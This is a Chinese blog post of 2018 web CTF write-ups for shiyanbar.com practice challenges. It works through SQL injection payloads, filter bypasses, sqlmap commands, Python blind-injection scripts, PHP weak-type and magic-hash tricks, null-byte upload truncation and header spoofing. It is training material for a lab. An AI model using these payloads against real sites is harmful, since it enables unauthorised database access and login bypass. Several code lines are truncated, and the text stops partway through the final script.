CTF web总结

原创

zb0567 于 2018-05-18 09:21:38 发布 8420 收藏 10
分类专栏： 网络安全

从今天开始，关注CTF夺旗赛

1、http://shiyanbar.com/ctf/56

what a fuck!这是什么鬼东西?
解题链接： http://ctf5.shiyanbar.com/DUTCTF/1.html 通过

一个关于jother编码的问题，JavaScript的变种，找个编程软件或者chrome浏览器，f12，开发人员执行，即可出结果，注意大小写

2、http://shiyanbar.com/ctf/1787

PHP代码审计
hint：sha1函数你有认真了解过吗？听说也有人用md5碰撞o(╯□╰)o

格式：CTF{}

解题链接： http://ctf5.shiyanbar.com/web/false.php

点进去，查看源码，发现除了不能用户名密码相等外，多了一行sha1()函数值判断，过关即可得到flag，

sha1()函数计算字符串的 SHA-1 散列,

```
sha1(string,raw)如果成功则返回已计算的 SHA-1 散列，如果失败则返回 FALSE。
```

如何破解，字符串。。。
http://ctf5.shiyanbar.com/web/false.php?name[]=1&password[]=3

3、http://shiyanbar.com/ctf/1819

似乎有人觉得PIN码是不可破解的，让我们证明他是错的。

格式：ctf{}

解题链接： http://ctf5.shiyanbar.com/10/main.php 通过

查看源码

```
<input type="password" name="PIN" value=""> <input type="hidden" name="showsource" value=0>
```

修改 showsource的值为1，则得到

```
$a = $_POST["PIN"];
if ($a == -19827747736161128312837161661727773716166727272616149001823847) {
    echo "Congratulations! The flag is $flag";
} else {
    echo "User with provided PIN not found.";
}
```

将a的值输入，则得到flag

4、http://shiyanbar.com/ctf/62

绕过
解题链接： http://ctf5.shiyanbar.com/web/5/index.php

查看源码发现index.txt，点开，审计代码

```
$user = $_POST[user];
$pass = md5($_POST[pass]);
```

例子：123的md5加密

0	20	2c	b9	62	ac	59	07	5b	96	4b	07	15	2d	23	4b	70	,¹b¬Y[K-#Kp

pass用md5加密了

```
if (($row[pw]) && (!strcasecmp($pass, $row[pw])))
```

需要去匹配pw

pass加密后的值我们可以通过输入控制，从而达到不用验证数据库中的真实账号密码。
账号框输入： xxx' and 0=1 union select "202cb962ac59075b964b07152d234b70" # 其中0=1可以使前面语句失效
或者 ' union select "202cb962ac59075b964b07152d234b70" # 前面为空也可以是前面语句失效
密码框输入：123
就可以看到key了
5、http://shiyanbar.com/ctf/1808
找回密码

格式：SimCTF{ }

解题链接： http://ctf5.shiyanbar.com/10/upload/

随便提交字符，跳转至step2.php,直接查看step2.php的源码，

```
<meta name="admin" content="admin@simplexue.com" /> 这个在step1.php测试，发现这个是admin账号
```

然后又发现submit.php这个神奇的网页，直接访问you are not an admin，没有权限，添加emailAddress token参数如下

http://ctf5.shiyanbar.com/10/upload/submit.php?emailAddress=admin@simplexue.com&token=1

测试结果仍然是fail，说明token错误，

Vim会产生临时文件。那么我们在浏览器里访问.submit.php.swp就可以啦

```
  `token` int(255) NOT NULL DEFAULT '0',
```

```
INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****涓嵃鬱瓕瑙ｄ***', '***涓嵃鬱瓕瑙ｄ***', 0);


if(strlen($token)!=10) die('fail');
 if($token!='0') die('fail');
```

编写url
http://ctf5.shiyanbar.com/10/upload/submit.php?emailAddress=admin@simplexue.com&token=0000000000

6、http://shiyanbar.com/ctf/54

注意备份文件
解题链接： http://ctf5.shiyanbar.com/DUTCTF/index.php
打开页面源代码index.php.txt，发现$_GET[id] = urldecode($_GET[id]); 反之需要对hackerDJ进行urlencode的正向加密，否则用hackerDJ直接报not allow，加密后%68%61%63%6b%65%72%44%4a，因为浏览器会自己解密一次，所以还要加密一次，%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%61，编写url

http://ctf5.shiyanbar.com/DUTCTF/index.php?id=%2568%2561%2563%256b%2565%2572%2544%254a

7、http://ctf5.shiyanbar.com/10/web1/index.php

天网你敢来挑战嘛

格式：ctf{ } 解题链接： http://ctf5.shiyanbar.com/10/web1/

进去之后查看源码得到提示：<!-- $test=$_GET['username']; $test=md5($test); if($test=='0') --> 我们知道php弱类型中以0e开头的可以满足==0，$test是通过md5加密的，所以百度一下经过md5之后以0e开头的字符串：

PHP在处理哈希字符串时，会利用"!="或"=="来对哈希值进行比较，它把每一个以"0E"开头的哈希值都解释为0，所以如果两个不同的密码经过哈希以后，其哈希值都是以"0E"开头的，那么PHP将会认为他们相同，都是0

QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020

用户名设置为QNKCDZO，则显示/user.php?fame=hjkleffifer，访问则发现源代码

```
$data_unserialize = unserialize($unserialize_str);
```

if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???')，将密码反序列化后，保持user和pass一样即可，伟大的科学家php方言道：成也布尔，败也布尔。可以考虑bool型变量，

bool类型的true跟任意字符串可以弱类型相等的，我们可以构造bool类型，来达到欺骗。

http://www.cnblogs.com/yeer/archive/2009/03/25/1421161.html 学习构造函数

例如*{s:4:"name";s:5:"Rover";s:3:"age";i:12;s:5:"owner";s:15:"Lisa and Graham";}*

现在我们构造一个数组，内瀚2个元素，分别是user和pass，都是bool类型的true，于是我们得到
a:2:{s:4:"user";b:1;s:4:"pass";b:1;}
（PS：a代表array，s代表string，b代表bool，而数字代表个数/长度）

把它输入密码框里（用户名随便填）提交，就拿到flag了。

8、http://shiyanbar.com/ctf/1805

啊拉？又是php审计。已经想吐了。
hint：ereg()函数有漏洞哩；从小老师就说要用科学的方法来算数。

格式：CTF{}

解题链接： http://ctf5.shiyanbar.com/web/more.php

随意输入，则显示alphanumeric，必须包含字母和数字的，看源码，

1、ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)在a~z，A~Z，0~9之间 ereg函数存在漏洞，

2、else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) 密码长度要小于8，值要大于9999999，这不很矛盾嘛，科学计数法，

920000可以表示为9.2*105，读作9.2乘10的5次方。

10e9是个数字 是10X10的9次方，9e9 =9X10的9次方，8e9 7e9

3、if (strpos ($_GET['password'], '*-*') !== FALSE) 必须包含*-*

利用00截断，参考https://blog.csdn.net/p656456564545/article/details/17883305

%00*-*就可以满足条件1,3，加上条件2，则 7e9%00*-*都可以，url输入后变成

http://ctf5.shiyanbar.com/web/more.php?password=7e9%2500*-*，手动删除25，则出现flag

9、http://shiyanbar.com/ctf/1781

bypass the upload

格式：flag{}

解题链接： http://ctf5.shiyanbar.com/web/upload
随意上传，则出现不被允许的文件类型,仅支持上传jpg,gif,png后缀的文件，手动加工1.jpg，则出现

Stored in: ./uploads/8a9e5f6a7a789acb.php

必须上传成后缀名为php的文件才行啊！ php和jpg的决断，

00截断是文件后缀名就一个%00字节，可以截断某些函数对文件名的判断，在许多语言函数中，处理字符串的函数中0x00被认为是终止符。例如，网站上传函数处理xxx.php%00.jpg时，首先后缀名是合法的jpg格式，可以上传，在保存文件时，遇到%00字符，丢弃后面的jpg，文件后缀最终保存的后缀名为xxx.php

但是这里不能直接用，否则会被隔离掉，这里用的是目录截断，

文件名为1.jpg则最终上传上去的文件路径为picture/1.php+1.jpg，0x00截断的思路即为将+之后的内容忽略掉使上传文件1.jpg最终上传到1.php中，此处利用到的就是0x00的截断漏洞，下面用题目做具体说明：

1.jpg上传到路径，bp进行隔断，然后action发送到repeater，将/uploads/的目录路径，更改为//uploads/1.php+，然后再hex里面讲+号对应的数值改为00，从左向右，每个字符对应一个二级制数值，修改对应+号的，修改完在raw中变成空值，提交看到flag

10、http://shiyanbar.com/ctf/1788

写个算法没准就算出来了，23333
hint：你确定你有认真看判断条件？

格式：CTF{}

解题链接： http://ctf5.shiyanbar.com/web/Session.php

查看源码，发现 `if ($_GET['password'] == $_SESSION['password'])`

只要置空pass即可，在bp里面清空session，提交即可

11、http://shiyanbar.com/ctf/1875

通过注入获得flag值（提交格式：flag{}）。

解题链接： http://ctf5.shiyanbar.com/423/web/

在文本框输入1，提交，链接变成id=1，在文件框输入1'，提交，报错，' 没有过滤，

1' and '1'='1 没有返回，显示已经被过滤， 1' or '1'='1 则显示正常，表明and已经被过滤，但是or没有，考虑用union

1' union select '1 没有返回，显示过滤union，select

考虑重复关键词1' unionunion selectselect '1'='1则显示空格被消除，剩下union select 1=1，

考虑加入双空格，1' unionunion selectselect '1'='1，显示正常 `ID: 1' union select '1'='1` ,表明select已经正常，

下一步考虑select flag from flag，首先我们需要知道数据库表，构建select table_name from informateion_schema.tables

```
1' unionunion selectselect table_name fromfrom information_schema.tables wherewhere '1'='1
```

考虑到最后必须有 ' 号，而and被过滤，因此我们加入`wherewhere '1'='1` ,然后发现表admin flag web_1三张表，

我们继续现考虑表flag表中有什么字段，`select column_name from information_schema.columns where table_name='flag`

```
1' unionunion selectselect column_nacolumn_nameme fromfrom information_schema.coinformation_schema.col
```

确认里面有flag和id两列，下面就很轻松了

```
1' unionunion selectselect flag fromfrom flag wherewhere '1'='1
```

显示两条，其中一条flag

12、http://shiyanbar.com/ctf/1908

有回显的mysql注入

格式：flag{}

解题链接： http://ctf5.shiyanbar.com/web/index_2.php

' 引号仍然未被过滤，可以使用，下面就是空格，空格告警侵入，

空格可以用%20，%0a，/**/，/*!*/，/*!50000*/，+，()替换，其中%20，+和()均被过滤了，尝试/**/替换空格可以绕过，对于其他的字符都没有做什么特别的过滤，

构造 如下： '/**/union/**/select/**/flag/**/from/**/flag#

13、http://shiyanbar.com/ctf/1942

不要怀疑,我已经过滤了一切,还再逼你注入,哈哈哈哈哈!

flag格式：ctf{xxxx}

解题链接： http://ctf5.shiyanbar.com/web/wonderkun/web/index.html
' or 1=1 # 构造函数测试，' 1=1 显示'正常，但是or #阵亡，

```
1. $sql = “select user from flag where user=’\$_POST[‘user’]’ and password=’\$_POST[‘password’]’”;
2. $sql = “select user from flag where user=’‘=’’ and password=’‘=’‘”;
```

从一般的数据，推算到下面的数据推断，只要理论就是用户名‘=’密码 '='

当提交username=''=''&password=''='，'语句分析则变成username="=",首先username=",不会发生，则前半部分为0，后半部分0="，则表达为true，返回为1，整体就相当于 where 1 and 1，也就是展示所有用户（大于3个才会显示，题目限定）

总结1='1' 、1='1.0'、 1='1后接字母(再后面有数字也可以)'、 0='除了非0数字开头的字符串' 都可以默认为true

14、http://shiyanbar.com/ctf/33

很明显。过年过节不送礼，送礼就送这个

格式：

解题链接： http://ctf5.shiyanbar.com/8/index.php?id=1

判断注入点，'号发现异常，and 1=1显示正常，and 1=2显示不正常，表明此处sql注入

猜解字段数，order by 2 和order by 3分别测试，表明一共有两个字段，字段意思就是可以用两个字段进行操作，如果用1个，类似 union select 1 就会出错，但是union select 1，2就是正确的，下面爆破数据库

方式一

http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,schema_name from information_schema.schemata

方式二：

http://ctf5.shiyanbar.com/8/index.php?id=1 union select group_concat(schema_name,"~~"),1 from information_schema.schemata

方式三：

http://ctf5.shiyanbar.com/8/index.php?id=1 union select schema_name,1 from information_schema.schemata

通过union select 1,database() 发现my_db是当前数据库，test待查，下面爆破数据库中的表

方式一：

http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,table_name from information_schema.tables where table_schema='my_db'

方式二：

http://ctf5.shiyanbar.com/8/index.php?id=2 union select group_concat(table_name,"~~"),2 from information_schema.tables where table_schema ='my_db'

通过table_name发现my_db表名就是news，thiskey，test表名就是admin，下面查看字段

方式一：

http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,column_name from information_schema.columns where table_schema='my_db'

方式二：

http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,column_name from information_schema.columns where table_name='my_db'

news对应id content，thiskey对应k0y，admin对应username和password，其中%20是空格，%27是'，下面select字段

http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,k0y from thiskey

content表名是测试，只有thiskey正确

另外进行sqlmap的测试，注意，如果一直连接不上数据库，可能是数据库满了，重新打开，进行测试

sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=2"

结果可以明显看出来，判定数据库类型mysql，参数id，有两种方式进行渗透，一种 id=2 and 1=1，另外一种 id=2 union select 1,2，下面继续爆破所有数据库： --dbs，发现my_db test，下面爆破表 -D "my_db" --tables，发现news，thiskey，继续爆破字段，-T "thiskey" --column，发现字段k0y，继续内容 -T "thiskey" --column --dump 则得到数值，明显的上表示就是 -D 数据库 -T 数据表 -C列 --DUMP展示 -D "my_db" -T "thiskey" --dump 也是可以的，--表示展示

15、http://shiyanbar.com/ctf/1909

mysql报错注入

格式：flag{}

解题链接： http://ctf5.shiyanbar.com/web/index_3.php
考虑sqlmap注入，sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1"加上id=1进行外挂，提示可以构建id=1' AND 5858=5858 AND 'yJRX'='yJRX进行外挂，--dbs数据展示，则显示 web1和test，预估web1，-D "web1" --tables，发现flag和web_1,继续 -T "flag" --column,发现flag id，进一步 --dump结束

其余手注，1,2,3均正常hello，其余空白，1'错误，表明'未过滤，1' and '1'='1 和1and 1=2有差别，未过滤and，条件正确输出hello，错误则没有，暴力拆解，1' and(select count(*) from admin)>0 # 表明admin不存在，且数据库为web1，1' and(select count(*) from flag)>0 # 表明flag存在，1' and(select count(*) from information_schema.columns where table_schema='web1' and table_name='flag') > 1 # ，返回正确，>2 无返回，可知flag表有2列，id=1'and(select 列名 from flag)>-1 #或?id=1'unionselect 列名 from flag #当id字段列名存在输出hello，不存在则报错，表明存在flag，需要手动写phython

```
#!/usr/bin/python
#coding=utf-8
#Author = One

import requests

def main():
    n = 0
    binary = ""
    flag = ""
    for i in range(1,1000):
        for j in range(8):
            url = "http://ctf5.shiyanbar.com/web/index_3.php?id=1' and 1=if((ascii(substring((select flag f
            request = requests.get(url)
            if(request.text.find('Hello!') != -1):
                binary = '1'+binary
                n = 0
            else:
                binary = '0'+binary
                n += 1
        print chr(int(binary,2)),
        flag += chr(int(binary,2))
        binary = ""
        if(n >= 8):
            print "\n"+flag
            break

if __name__ == '__main__':
    main()
#上述代码使用的是按位与方法，比普通循环遍历所有可能字符要快，比较8次必得一个字符结果
```

16、http://shiyanbar.com/ctf/1760

密文：a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws

格式：flag:{}

解题链接： http://ctf5.shiyanbar.com/web/web200.jpg

```
<?php
$str = "a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$_o="";
$_ = base64_decode(strrev(str_rot13($str)));
for($_0=0;$_0<strlen($_);$_0++)
{
    $_c = substr($_,$_0,1);
    $__ = ord($_c)-1;
    $_c = chr($__);
    $_o = $_o.$_c;
}
echo strrev($_o);
?>
```

通过ord()函数转换后就能正常查看各个字符的ASCII值。
chr()函数的作用与ord()函数相反，用于返回指定的字符，如chr(97)返回a

.表示串接，相当于将上面的字符串进行串联。

17、http://shiyanbar.com/ctf/32

不多说，去看题目吧。
解题链接： http://ctf5.shiyanbar.com/phpaudit/

HTTP_CLIENT_IP 可通过http头伪造

HTTP_X_FORWARDED_FOR 可通过http头伪造

REMOTE_ADDR 可能是用户真实IP也可能是代理IP

firefox的X-Forwarded-For Injector安装完后进行代理地址伪装，修改地址即可

在burp里面修改X-Forwarded-For: 1.1.1.1，添加后也可以实现效果

Client-IP:1.1.1.1和Remote-addr:1.1.1.1是一样的道理

18、http://shiyanbar.com/ctf/20

catch! catch! catch! 嘿嘿，不多说了，再说剧透了
解题链接： http://ctf5.shiyanbar.com/basic/catch/

看源码没啥，看burp包，明显妥妥的秘钥，拿过来提交ok

19、http://shiyanbar.com/ctf/2036

格式：flag:{xxx}
解题链接： http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php

查看源码，emmm注入无疑了。看url的特殊语句，实验，解决。。。

源码是 `$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";`

密码md5加密后进行查询，然后加密完的字符串一般是用hex表示，然后在sql语句中应该折合成text，

也就成为这样的'or'6<其他字符>，加入到sql中，就会成为，password变成了1，不再进行判断，从而结果＞0

```
1. $sql="select password from users where password=''or'<xxx>'"
```

参考http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/

http://cvk.posthaven.com/sql-injection-with-raw-md5-hashes

同样的发现有两个秘钥 129581926211651571912466741651878684928 md5 T0Do#'or'8

ffifdyop md5 'or'6]!r,b

20、http://shiyanbar.com/ctf/2（sqlmap暂未成功）

切，你那水平也就这么点了，这都是什么题啊！！！
解题链接： http://ctf5.shiyanbar.com/basic/inject

查看源码 ，sqlmap.py -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=pass&action=login"现进行sqlmap注入，admin为切入口，但是sqlmap并未成功。注意：对于普通的get注入，如果是字符型，前加' 后加 and "='

考虑boolean-based 的admin=admin' and '1'='1 &pass=pass&action=login 错误的用户名和密码

或者考虑time-based，写成admin=admin' and sleep(5) and '1'='1
&pass=pass&action=login,数据库连接失败

测试下面，显示不要再攻击，测试完说明select被监测并终止。

http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin'

考虑用编码执行破解，得到密码填写admin，密码即可

```
# -*-coding:utf-8-*-

import requests
import time

payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.{}-'  #不区分大小写的

flag = ""
key=0
print("Start")
for i in range(1,50):
    if key == 1:
        break
    for payload in payloads:
        starttime = time.time()#记录当前时间
        headers = {"Host": "ctf5.shiyanbar.com",
                   "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
                   "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                   "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
                   "Accept-Encoding": "gzip, deflate",
                   "Cookie": "Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1470994390,1470994954,1470995086,1471
                   "Connection": "keep-alive",
                   }
        url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,
        res = requests.get(url, headers=headers)
        if time.time() - starttime > 10:
            flag += payload
            print('\n pwd is:', flag)
            break
        else:
              if payload == '-':
                key = 1
                break
print('\n[Finally] current pwd is %s' % flag)
```

if payload == '-':key=1 就这里，-是我的payloads最后一个来着，就是一次所有的payloasds没有匹配到直接跳出两个循环，不管50了（一开始没管，可能是越界啥的，不知道后面那几个字符怎么出来的）

另外要注意substr在sql与php中不同，sql中从1开始为第一个其实位置，所以range（50）调整为range（1,50）

21、http://shiyanbar.com/ctf/29

提示都这么多了，再提示就没意思了。
解题链接： http://ctf5.shiyanbar.com/sHeader/

打开发现netframework现在也就4.多，9.多的跳过。。。Make sure you are in the region of England and browsing this site with Internet Explorer就是改语言和客户端型号了。需要修改.net framework 9.9，England，browsing this site with IE三处，抓包修改，第一处检查 .NET CLR 9.9

考虑**修改请求头 Accept-Language**和浏览器伪装用户代理user-agent，

科普：User-Agent是Http协议中的一部分，属于头域的组成部分，User Agent也简称UA。用较为普通的一点来说，是一种向访问网站提供你所使用的浏览器类型、操作系统及版本、CPU 类型、浏览器渲染引擎、浏览器语言、浏览器插件等信息的标识。UA字符串在每次浏览器 HTTP 请求时发送到服务器！

浏览器UA 字串的标准格式为： 浏览器标识 (操作系统标识; 加密等级标识; 浏览器语言) 渲染引擎标识 版本信息

在 ASP.NET 中使用 Request.Header["User-Agent"] 得到浏览器的 User Agent，也可以使用 Request.UserAgent来获取；Java 中使 用 request.getHeader(”User-Agent”) 来获得；P H P 中相应使用：$_SERVER[HTTP_USER_AGENT]；JS中则使用navigator.userAgent来获得，我们可以加上 MSIE 9.0

in england来确定语言代码。看http://www.lingoes.cn/zh/translator/langcode.htm可以确定**Accept-Language**英国为en-gb 这里的gb要小写

bp上场，修改主要的。。。user-agent MSIE 9.0;.NET CLR 9.9，ok

22、http://shiyanbar.com/ctf/1854

看看响应头

格式：CTF{ }

解题链接： http://ctf5.shiyanbar.com/web/10/10.php

<!-- please post what you find with parameter:key -->打开发现这个，必须bp上，

FLAG: UDBTVF9USElTX1QwX0NINE5HRV9GTDRHOmlYZ1FPYzBLbA==

UDBTVF9USElTX1QwX0NINE5HRV9GTDRHOlkxVWt2dlN0bw==提交两次flag实在变得，说明拿到参数之后要向服务器post上述的key值才能得到，一种当然是可以UDBTVF9USElTX1QwX0NINE5HRV9GTDRHOkJpajdEZGYzVw==将这个值进行base64的解码，发现值为P0ST_THIS_T0_CH4NGE_FL4G:Bij7Ddf3W，将y0BtcfmTF进行base64与key值配对，在params中构造body key y0BtcfmTF的base64编码 发送给服务器，思路是没有错，但是他要求时间快，就只能python进行提交

python代码如下：

```
import requests
import base64

url = 'http://ctf5.shiyanbar.com/web/10/10.php'
s = requests.session()
response = s.get(url)
head = response.headers
flag = base64.b64decode(head['FLAG']).split(':')[1]
data = {'key': flag}
result = s.post(url=url, data=data)
print result.text
```

23、http://shiyanbar.com/ctf/1846

如何欺骗服务器，才能拿到Flag？

格式：CTF{}

解题链接： http://ctf5.shiyanbar.com/indirection/

查看源代码，//第一，我们可以构造 /indirection/a/../ /indirection/./ 等等这一类的
//所以，第一个要求就是不得出现 ./
//第二，我们可以构造 \ 来代替被过滤的 /
//所以，第二个要求就是不得出现 ../
//第三，有的系统大小写通用，例如 indirectioN/
//你也可以用?和#等等的字符绕过，这需要统一解决
//所以，第三个要求对可以用的字符做了限制，a-z / 和 .
//第四，多个 / 也是可以的
//所以，第四个要求是不得出现 //
//第五，显然加上index.php或者减去index.php都是可以的
//所以我们下一个要求就是必须包含/index.php，并且以此结尾
//第六，我们知道在index.php后面加.也是可以的
//所以我们禁止p后面出现.这个符号
//第七，现在是最关键的时刻
//你的$URL必须与/indirection/index.php有所不同

这里我们可以利用伪静态技术，使用

http://ctf10.shiyanbar.com:8888/indirection/index.php/index.php，index.php后的index.php会被当做参数处理，所以服务器只会解析第一个index.php，满足条件成功绕过

URL重写，其实就是把带一大堆参数的url，变成一个看上去很规矩的url,主要目的是为了搜索引擎

/viewthread.jsp?id=1234 其实就是/viewthread/1234.htm

简单来说，比如http://ctf5.shiyanbar.com/indirection/index.php/user/index.php，虽然在index.php后面还加上了一些东西，但是这个user会被解析成参数名，而index.php则会被解析成user的值

24、http://shiyanbar.com/ctf/2008

你真的会PHP吗？

会？还是不会？

解题链接： http://ctf5.shiyanbar.com/web/PHP/index.php

have a fun!!。。。。。。burp抓包Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29

hint: 6c525af4059b4fe7d8c33a.txt分析代码，

```
function is_palindrome_number($number) {
    $number = strval($number); //本函数可将数组及类之外的变量类型转换成字符串类型。
    $i = 0;
    $j = strlen($number) - 1;//strlen() 函数返回字符串的长度
    while($i < $j) {
        if($number[$i] !== $number[$j]) {
            return false;
        }
        $i++;
        $j--;
    }
    return true;
}
```

`if (is_palindrome_number( $req [ "number" ])){ $info = "nice! {$value1} is a palindrome number!" ;`
条件1，代码不能是类似121的回文数，如果是，则返回nice，121是一个回文数

`//判断是否为数值型if(is_numeric($_REQUEST['number'])){ $info="sorry, you cann't input a number!";`

条件2不为空，且不能是一个数值型数字，包括小数。(由is_numeric函数判断) 检测变量是否为数字或数字字符串，必须是字符串

```
  $value1 = intval($req["number"]);
      $value2 = intval(strrev($req["number"]));
 if($value1!=$value2){
  $info="no, this is not a palindrome number!";
```

条件3，如果不是回文则提示这不是一个回文数，要求必须是回文数，和条件1冲突， number参数反转后必须相等

```
 elseif($req['number']!=strval(intval($req['number']))){

      $info = "number must be equal to it's integer!! ";
```

条件4，输入必须等于他的整数 参数number与变换为整形再变换为字符串的number相等，与条件2冲突

切记 构造函数必须以body number 0e00%00的形式post回去

1.number=0e00%00或者0e00%20

采用科学计数法构造poc为number=0e-0%00，这样的话我们就可以绕过。构造0=0

0e-0绕过`$req['number']!=strval(intval($req['number']))`

后面加一个空白字符（或者添加unicode编码过的空白字符如：%00，%20等）绕过

`is_numeric($_REQUEST['number'])`

这里的%00表示空字符串，%20表示是空格，这样一来就满足了上述四个条件

2、利用函数溢出的方法 number=2147483647%00

考虑intval ，Intval最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647，intval('1000000000000') 会返回 2147483647。64 位系统上，最大带符号的 integer 值是 9223372036854775807。我们这个是32位系统，通过上面我们知道服务器的操作系统是32位的，所以我们构造2147483647就可以同时满足2，3条件。通过把空字符可以绕过is_numeric的判断（如%00,%20）,所以我们构造以下poc，number=2147483647%00 和number=2147483647%20都可。对于第一个条件，我们需要构造是让我们的poc被函数判断为非数值，但又不影响它值的构造，理所当然想到空格字符和空字符。而经过测试我发现is_numeric函数对于空字符%00，无论是%00放在前后都可以判断为非数值，而%20空格字符只能放在数值后。所以，查看函数发现该函数对对于第一个空格字符会跳过空格字符判断，接着后面的判断！！

注明：intval()转换的时候，会将从字符串的开始进行转换知道遇到一个非数字的字符。即使出现无法转换的字符串，intval()不会报错而是返回0。所以呢现在这个intval函数我觉得的有几个点可以去利用的
1.溢出
2.16进制通常是配合is_numeric()使用
3.科学计数法

```
var_dump((int)('1e-1000')>0);var_dump('1e-1000'>0);bool(true)bool(false)
```

```
var_dump((int)('1e-10')>0);var_dump('1e-10'>0);bool(true)bool(true)
```

在科学计数法字符串转换为数字时，如果 E 后面的数小于某个值会弄成 double 类型，再强制转换为 int 类型时可能会有奇妙的结果，测试发现某变量为 1e-1000 时已经可以触发这个漏洞绕过两个检查，使得某变量既大于 0 又不大于 0。

25、http://shiyanbar.com/ctf/1940

访问解题链接去访问题目,可以进行答题。根据web题一般解题思路去解答此题。看源码，请求，响应等。提交与题目要求一致的内容即可返回flag。然后提交正确的flag即可得分。web题主要考察SQL注入，XSS等相关知识。涉及方向较多。此题主要涉及源码审计，MySQL相关的知识。

flag格式 CTF{}

解题链接： http://ctf5.shiyanbar.com/web/pcat/index.php

查看源码<!--source: source.txt--> 其中and|select|from|where|union|join|sleep|benchmark|,|\(|\)全部过滤，

```
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
if (mysql_num_rows($query) == 1) {
if($key['pwd'] == $_POST['pwd']) {
```

根据用户名查询密码，且只能查询出来一条，然后pwd与数据库中一致才能通过

利用group by pwd with rollup在查询中的一个特点，他可以返回pwd所在的那一条记录，通过limit控制返回哪一条，因此他不可以返回多条，一旦返回2条及以上，pwd就会为空，但同一条记录中的其他字段则是正常的(我们使用group by pwd with rollup 来在查询结果后加一行，并且这一行pwd字段的值为NULL)

uname= ' or 1=1 group by pwd with rollup limit 1 offset 2 # & pwd=

' or 1=1 group by pwd with rollup limit 1 offset XX# offset一定要是最后一行，要不然不能通过

这里解释一下此时执行的SQL:

SELECT * FROM interest where uname=' ' or 1=1

group by pwd with rollup （在数据库中添加一行使得pwd=NULL）

limit 1 （只查询一行）

offset 2 （从第二行开始查询）

#注释

此时密码只要为空即可查询成功

那么利用这一点令查询结果为空，我们输入的pwd也为空值，则构成了if(null==null)为true

备注 rollup的例子

```
mysql> create table test (
    -> user varchar(100) not null,
    -> pwd varchar(100) not null);
mysql>insert into test values("admin","mypass");
mysql>select * from test group by pwd with rollup
mysql> select * from test group by pwd with rollup;
+-------+------------+
| user  | pwd        |
+-------+------------+
| guest | alsomypass |
| admin | mypass     |
| admin | NULL       |
+-------+------------+
3 rows in set

mysql> select * from test group by pwd with rollup limit 1
;
+-------+------------+
| user  | pwd        |
+-------+------------+
| guest | alsomypass |
+-------+------------+
mysql> select * from test group by pwd with rollup limit 1 offset 0
;
+-------+------------+
| user  | pwd        |
+-------+------------+
| guest | alsomypass |
+-------+------------+
1 row in set
mysql> select * from test group by pwd with rollup limit 1 offset 1
;
+-------+--------+
| user  | pwd    |
+-------+--------+
| admin | mypass |
+-------+--------+
1 row in set
mysql> select * from test group by pwd with rollup limit 1 offset 2
;
+-------+------+
| user  | pwd  |
+-------+------+
| admin | NULL |
+-------+------+
1 row in set
```

26、http://shiyanbar.com/ctf/1941（暂时未完全解决）

我要把攻击我的人都记录db中去！
解题链接： http://ctf5.shiyanbar.com/web/wonderkun/index.php 直接看到ip，这个是什么东西。。。 首先想到的就是user agent注入，用updatexml试一下，什么错的没有报...看来这个思路不行，伪造HTTP中的IP信息，详见 http://www.cnblogs.com/x2048/articles/1794020.html，其实投票的漏洞大概是cookie验证和ip代理，cookie可以伪造一下继续，ip代理麻烦，就只有伪造，当然伪造不是完全意义上的，TCP层面的伪造会造成三次握手建立不起来，而HTTP层面的则是利用你使用代理时候 透明代理发送给服务器端的HTTP请求中会包含x-forward-for信息，我们就是要在正常的信息中加入 x-forward-for的伪造信息，伪造代理，下面是所有的可以伪造的部分，

```
X-Forwarded-For
Client-IP
x-remote-IP
x-originating-IP
x-remote-addr
```

X-Forwarded-For伪造成what，立马都变成what了，哈哈哈哈 我要把攻击我的人都记录db中去!

那么就是insert into 注入，但是逗号会被隔离，其他不会，那么是不是获取完之后，将逗号之前的内容去插入，但是回显给用户和用户的地址一致，也就是逗号后面怎么保存。。。

但是很奇怪，不管构造的是什么语句，都会返回到页面，看了下别人的writeup发现，他的后台处理过程大致是这样的，首先获取到HTTP-X-Forwarded-For，对他进行字符串的处理，只截取逗号前的内容，然后直接将其输出到页面，再插入到数据库，但应该没有对插入结果做处理，即没有输出数据库的报错仅输出空，所以想从数据库的报错获取信息应该是不行了，返回页面也是不具判断性的，那么可以考虑时间型的盲注

最后学习time-based盲注

bp的盲注和sqlmap的盲注太麻烦，暂时不考虑，考虑https://www.jianshu.com/p/5d34b3722128第二种和第三种，

python的如下 事先确定了flag存储在flag表的flag字符里，且flag的长度为32，

```
#-*-coding:utf-8-*-
import requests
import string
url="http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess=string.lowercase + string.uppercase + string.digits
flag=""

for i in range(1,33):
   for str in guess:
